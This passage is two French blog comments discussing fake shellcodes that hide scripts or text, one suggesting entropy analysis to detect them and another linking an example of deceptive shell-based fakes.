    Après comme j'ai pu le montrer, il y a de faux shellcodes incluant des scripts ou du texte, etc. Une solution pour détecter celà pourrait être une étude de l'entropie. En effet en ASCII on a une entropie de 7 bits ;).

    RépondreSupprimer
  4. Marrant comme analyse, bravo. :-)

    Y'a ceux en shell comme http://pastebin.com/GCkHhtwH qui sont funs et bien fourbes aussi. Y'en a eu aussi sur sudo de marrant mais je n'arrive pas a remettre la main dessus.

    RépondreSupprimer